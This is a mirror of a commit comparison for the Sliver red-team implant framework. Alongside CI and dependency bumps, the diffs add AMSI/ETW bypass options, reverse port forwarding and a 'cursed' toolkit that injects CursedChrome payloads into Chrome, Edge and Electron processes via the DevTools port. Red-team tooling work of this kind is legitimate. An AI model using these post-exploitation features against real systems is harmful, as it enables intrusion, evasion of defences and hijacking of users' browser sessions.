mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-08 08:04:14 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
6b876d5b0b | ||
|
|
8c144e3f66 | ||
|
|
8db2be4e9f | ||
|
|
1b8411d097 | ||
|
|
67094dec1c | ||
|
|
265a1fa33e | ||
|
|
071a0cb574 | ||
|
|
d469d33e7f | ||
|
|
b013d555a4 | ||
|
|
bdf0c7b3f6 | ||
|
|
f042dee7e9 | ||
|
|
e0b756a5b6 | ||
|
|
f12a60541f | ||
|
|
3c90e4b7e0 | ||
|
|
c894e623ca | ||
|
|
03a6f5f0b6 | ||
|
|
7b3739b87c | ||
|
|
8a5855fa53 | ||
|
|
fa11691efb | ||
|
|
5628197789 | ||
|
|
dfba1eeb65 | ||
|
|
181163d65b | ||
|
|
f8db5d4607 | ||
|
|
e1516ff6c0 | ||
|
|
82e58c74f7 | ||
|
|
91a3b36ab4 | ||
|
|
62748edc97 | ||
|
|
5baf9d3b3b | ||
|
|
5332d0c76f | ||
|
|
7a9f216d9c | ||
|
|
754b9f6af6 | ||
|
|
0c601bdc4b | ||
|
|
3a06595517 | ||
|
|
a91b5a8721 | ||
|
|
c1ac4ddfea | ||
|
|
b03657462b | ||
|
|
8bc85b25aa | ||
|
|
18f8a8c23f | ||
|
|
4748f61480 | ||
|
|
f7a4aacf5f | ||
|
|
da45b2da82 | ||
|
|
097866d0a2 | ||
|
|
11959d5911 | ||
|
|
70b06673fd | ||
|
|
84a95aea2a | ||
|
|
ba3ec022bb | ||
|
|
394ba431b2 | ||
|
|
cda6aeaee6 | ||
|
|
100b26afd0 | ||
|
|
187f9e99ac | ||
|
|
4917c313b6 | ||
|
|
1f6abf9be3 | ||
|
|
25a22054b7 | ||
|
|
64c5460545 | ||
|
|
76fb9dfc93 | ||
|
|
ccd3ed2250 | ||
|
|
fb5c6c0c88 | ||
|
|
11878069f6 | ||
|
|
3db3930091 | ||
|
|
9e6412c911 | ||
|
|
ade96fa281 | ||
|
|
3035d75882 | ||
|
|
4ed95375e0 | ||
|
|
9ee10c5321 | ||
|
|
3cc7be8a9f | ||
|
|
d411d2400c | ||
|
|
e31cafa81d | ||
|
|
80677e652b | ||
|
|
88abea26a7 | ||
|
|
18871a8521 | ||
|
|
ca3377799b | ||
|
|
be477918d2 | ||
|
|
120d537044 | ||
|
|
59781d4328 | ||
|
|
f117995aa1 | ||
|
|
e4793cf616 | ||
|
|
b68f4bffd3 | ||
|
|
22fea029ec | ||
|
|
b1db1ab614 | ||
|
|
40b99e860f | ||
|
|
56d143b018 | ||
|
|
327f7c6826 | ||
|
|
eb9506510e | ||
|
|
9c5aa26af9 | ||
|
|
f2b78748de | ||
|
|
891bb49f1a | ||
|
|
82d1728360 | ||
|
|
01b6a3c657 | ||
|
|
312f133f1e | ||
|
|
a141e1f689 | ||
|
|
a9a16aaa39 | ||
|
|
2c944db7ed | ||
|
|
b93f939ec5 | ||
|
|
ba07826d83 | ||
|
|
09fb3e0095 | ||
|
|
be9c34e1ef | ||
|
|
d5945898b3 | ||
|
|
7d8457d494 | ||
|
|
330ceea52f | ||
|
|
afe4fb04a3 | ||
|
|
e89a04f747 | ||
|
|
e8aae22d50 | ||
|
|
003f882be5 | ||
|
|
bb2a56d469 | ||
|
|
bb36fb6850 | ||
|
|
dd31ae253c | ||
|
|
307b1998a1 | ||
|
|
381e131438 | ||
|
|
c9898b9854 | ||
|
|
9dd5dd9c93 | ||
|
|
01f2d0c9de | ||
|
|
fd1b873f75 | ||
|
|
bb51a9f1a6 | ||
|
|
f1d4a51e73 | ||
|
|
d003f5a4ac | ||
|
|
36277b9d46 | ||
|
|
c90988aba5 | ||
|
|
a6dca18cdc | ||
|
|
dd48b4b71d | ||
|
|
91e6ea5e05 | ||
|
|
3a8201c202 | ||
|
|
0c5f8a123b | ||
|
|
2ea605e915 | ||
|
|
583edd7a2f | ||
|
|
e03381994c | ||
|
|
536ac4dd0f | ||
|
|
651941844a | ||
|
|
88a5b3a01c | ||
|
|
4c67157f48 | ||
|
|
d02c421e9e | ||
|
|
157b84ee5b | ||
|
|
b5f25e14ae | ||
|
|
4c9f701e0f | ||
|
|
336068cdf3 | ||
|
|
2b9b4eb5f3 | ||
|
|
e13faf9682 | ||
|
|
044688ace4 | ||
|
|
7e633962ce | ||
|
|
7911450862 | ||
|
|
519ef88866 | ||
|
|
823e22e120 | ||
|
|
94d672619b | ||
|
|
29f5a17339 | ||
|
|
d71c45223f | ||
|
|
2578513ae3 | ||
|
|
552a824e1b | ||
|
|
5a352de056 | ||
|
|
33e5525136 | ||
|
|
756bb7749e | ||
|
|
6233d2fbe7 | ||
|
|
729449b653 | ||
|
|
f1030ebaa4 | ||
|
|
7a962ae120 | ||
|
|
39da957b7c | ||
|
|
c230ce0b2e | ||
|
|
8b44024672 | ||
|
|
f8b17891d1 | ||
|
|
4ffb75fa15 | ||
|
|
f9bc1a7bd3 | ||
|
|
867ac37f1f | ||
|
|
04a7148ab7 | ||
|
|
010025645b | ||
|
|
7a22ed901a | ||
|
|
a29135770f | ||
|
|
8de0eaff13 | ||
|
|
abde731c35 | ||
|
|
1f7bc9b227 | ||
|
|
8617ac9c47 | ||
|
|
8aa8095010 | ||
|
|
b621107965 | ||
|
|
04f0d38bd2 | ||
|
|
8ef7f465a4 | ||
|
|
102ee0b533 | ||
|
|
c3cb978ee6 | ||
|
|
18ddfd2943 | ||
|
|
3b3a335c41 | ||
|
|
b64f00a66e | ||
|
|
6a44f6b435 | ||
|
|
e4db654d62 | ||
|
|
1a1924273b | ||
|
|
c20acb9657 | ||
|
|
3d89716007 | ||
|
|
3351ab0fee | ||
|
|
4c062445ad | ||
|
|
bdb6393842 | ||
|
|
20a4043d7c | ||
|
|
79d720d477 | ||
|
|
2ec234fd8c | ||
|
|
3ab978e754 | ||
|
|
0644a82a2c | ||
|
|
d6c41f1713 | ||
|
|
660af1fe60 | ||
|
|
79f2d48fcd | ||
|
|
166c494894 | ||
|
|
01121922e9 | ||
|
|
c1a9702760 | ||
|
|
d55c20d7a2 |
No files matched your search
+1
-2
@@ -1,2 +1 @@
|
||||
* @moloch--
|
||||
* @rkervella
|
||||
* @BishopFox/red-team
|
||||
@@ -0,0 +1,16 @@
|
||||
# Basic set up for three package managers
|
||||
|
||||
version: 2
|
||||
updates:
|
||||
|
||||
# Maintain dependencies for GitHub Actions
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
|
||||
# Maintain dependencies for go
|
||||
- package-ecosystem: "gomod"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
@@ -15,9 +15,9 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -26,7 +26,7 @@ jobs:
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -40,7 +40,7 @@ jobs:
|
||||
run: export PATH=/home/runner/go/bin/:$PATH && make linux
|
||||
|
||||
- name: Linux Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: linux
|
||||
path: ./sliver-*
|
||||
@@ -53,7 +53,7 @@ jobs:
|
||||
export PATH=/home/runner/go/bin/:$PATH && make windows
|
||||
|
||||
- name: Windows Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: windows
|
||||
path: ./sliver-*
|
||||
@@ -66,15 +66,15 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -93,7 +93,7 @@ jobs:
|
||||
run: make macos-arm64
|
||||
|
||||
- name: MacOS Artifacts
|
||||
uses: actions/upload-artifact@v2
|
||||
uses: actions/upload-artifact@v3
|
||||
with:
|
||||
name: macos
|
||||
path: ./sliver-*
|
||||
@@ -110,7 +110,7 @@ jobs:
|
||||
steps:
|
||||
|
||||
- run: mkdir -p ./builds
|
||||
- uses: actions/download-artifact@v2
|
||||
- uses: actions/download-artifact@v3
|
||||
with:
|
||||
path: ./builds
|
||||
|
||||
|
||||
@@ -18,12 +18,12 @@ jobs:
|
||||
steps:
|
||||
# Setup go environment
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: "1.18.5"
|
||||
go-version: "1.18.6"
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
with:
|
||||
# Must fetch at least the immediate parents so that if this is
|
||||
# a pull request then we can checkout the head of the pull request.
|
||||
@@ -55,14 +55,14 @@ jobs:
|
||||
&& make install
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Go Assets
|
||||
run: ./go-assets.sh
|
||||
|
||||
# Initializes the CodeQL tools for scanning.
|
||||
- name: Initialize CodeQL
|
||||
uses: github/codeql-action/init@v1
|
||||
uses: github/codeql-action/init@v2
|
||||
with:
|
||||
config-file: ./.github/codeql/codeql-config.yml
|
||||
languages: go
|
||||
@@ -72,6 +72,6 @@ jobs:
|
||||
make
|
||||
|
||||
- name: Perform CodeQL Analysis
|
||||
uses: github/codeql-action/analyze@v1
|
||||
uses: github/codeql-action/analyze@v2
|
||||
env:
|
||||
VERSION: ${{github.sha}}
|
||||
@@ -21,9 +21,9 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: OS Packages
|
||||
run: |
|
||||
@@ -32,7 +32,7 @@ jobs:
|
||||
mingw-w64 binutils-mingw-w64 g++-mingw-w64 gcc-multilib
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
@@ -56,15 +56,15 @@ jobs:
|
||||
steps:
|
||||
|
||||
- name: Go 1.18
|
||||
uses: actions/setup-go@v2
|
||||
uses: actions/setup-go@v3
|
||||
with:
|
||||
go-version: '1.18.5'
|
||||
go-version: '1.18.6'
|
||||
|
||||
- name: Mingw
|
||||
run: brew install mingw-w64
|
||||
|
||||
- name: Check out code into the Go module directory
|
||||
uses: actions/checkout@v2
|
||||
uses: actions/checkout@v3
|
||||
|
||||
- name: Git Fetch Tags
|
||||
run: git fetch --prune --unshallow --tags -f
|
||||
|
||||
+3
-2
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.18.5
|
||||
FROM golang:1.18.6
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
@@ -57,7 +57,8 @@ RUN ./go-assets.sh
|
||||
|
||||
# Compile sliver server
|
||||
ADD . /go/src/github.com/bishopfox/sliver/
|
||||
RUN make \
|
||||
RUN make clean-all \
|
||||
&& make \
|
||||
&& cp -vv sliver-server /opt/sliver-server \
|
||||
&& /opt/sliver-server unpack --force
|
||||
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
GO ?= go
|
||||
ARTIFACT_SUFFIX ?=
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
TAGS ?= -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
|
||||
#
|
||||
|
||||
@@ -28,6 +28,7 @@ import (
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
@@ -177,6 +178,11 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
@@ -274,7 +280,17 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgs := strings.Split(ctx.Flags.String("process-arguments"), " ")
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
con.PrintWarnf(" Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies and non-reflective PE files.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
@@ -320,6 +336,10 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
@@ -119,6 +119,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
"Hostname",
|
||||
"Username",
|
||||
"Operating System",
|
||||
"Locale",
|
||||
"Last Check-in",
|
||||
"Next Check-in",
|
||||
})
|
||||
@@ -186,6 +187,7 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Hostname),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
|
||||
next,
|
||||
}
|
||||
|
||||
+214
-1
@@ -42,6 +42,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
"github.com/bishopfox/sliver/client/command/environment"
|
||||
"github.com/bishopfox/sliver/client/command/exec"
|
||||
@@ -65,6 +66,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/reaction"
|
||||
"github.com/bishopfox/sliver/client/command/reconfig"
|
||||
"github.com/bishopfox/sliver/client/command/registry"
|
||||
"github.com/bishopfox/sliver/client/command/rportfwd"
|
||||
"github.com/bishopfox/sliver/client/command/screenshot"
|
||||
"github.com/bishopfox/sliver/client/command/sessions"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
@@ -716,6 +718,28 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
tasksCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CancelStr,
|
||||
Help: "Cancel a pending beacon task",
|
||||
LongHelp: help.GetHelpFor([]string{consts.TasksStr, consts.CancelStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.String("f", "filter", "", "filter based on task type (case-insensitive prefix matching)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("id", "beacon task ID", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
tasks.TasksCancelCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
con.App.AddCommand(tasksCmd)
|
||||
|
||||
// [ Use ] --------------------------------------------------------------
|
||||
@@ -1060,11 +1084,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("s", "save", false, "save output to file")
|
||||
f.Bool("X", "loot", false, "save output as loot")
|
||||
f.String("n", "name", "", "name to assign loot (optional)")
|
||||
f.Uint("P", "ppid", 0, "parent process id (optional)")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2502,6 +2530,59 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(registryCmd)
|
||||
|
||||
// [ Reverse Port Forwarding ] --------------------------------------------------------------
|
||||
|
||||
rportfwdCmd := &grumble.Command{
|
||||
Name: consts.RportfwdStr,
|
||||
Help: "reverse port forwardings",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.RportFwdListenersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
rportfwdCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.AddStr,
|
||||
Help: "Add and start reverse port forwarding",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.StartRportFwdListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("r", "remote", "", "remote address <ip>:<port> connection is forwarded to")
|
||||
f.String("b", "bind", "", "bind address <ip>:<port> implants listen on")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
})
|
||||
rportfwdCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Stop and remove reverse port forwarding",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RportfwdStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
rportfwd.StopRportFwdListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Int("i", "id", 0, "id of portfwd to remove")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(rportfwdCmd)
|
||||
|
||||
// [ Pivots ] --------------------------------------------------------------
|
||||
|
||||
pivotsCmd := &grumble.Command{
|
||||
@@ -3294,6 +3375,138 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("r", "range", "sliver", "Agents range")
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(operatorCmd)
|
||||
|
||||
// [ Curse Commands ] ------------------------------------------------------------
|
||||
|
||||
cursedCmd := &grumble.Command{
|
||||
Name: consts.Cursed,
|
||||
Help: "Chrome/electron post-exploitation tool kit (∩`-´)⊃━☆゚.*・。゚",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
}
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a Curse from a process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("k", "kill", false, "kill the process after removing the curse")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.Int("bind-port", "bind port of the Cursed process to stop")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedRmCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedConsole,
|
||||
Help: "Start a JavaScript console connected to a debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedConsoleCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedChrome,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Chrome extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedChromeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedEdge,
|
||||
Help: "Automatically inject a Cursed Chrome payload into a remote Edge extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedEdgeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ScreenshotStr,
|
||||
Help: "Take a screenshot of a cursed process debug target",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.ScreenshotStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("q", "quality", 100, "screenshot quality (1 - 100)")
|
||||
f.String("s", "save", "", "save to file")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedScreenshotCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedElectron,
|
||||
Help: "Curse a remote Electron application",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "exe", "", "remote electron executable absolute path")
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedElectronCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
}
|
||||
@@ -0,0 +1,3 @@
|
||||
# Cursed
|
||||
|
||||
Cursed is a Sliver Chrome/Electron post-exploitation tool kit based on/integrated with [CursedChrome](https://github.com/mandatoryprogrammer/CursedChrome). Code injection is performed via the [DevTools protocol](https://chromedevtools.github.io/devtools-protocol/).
|
||||
@@ -0,0 +1,425 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
insecureRand "math/rand"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/bishopfox/sliver/client/tcpproxy"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
var (
|
||||
ErrUserDataDirNotFound = errors.New("could not find Chrome user data dir")
|
||||
ErrChromeExecutableNotFound = errors.New("could not find Chrome executable")
|
||||
ErrUnsupportedOS = errors.New("unsupported OS")
|
||||
|
||||
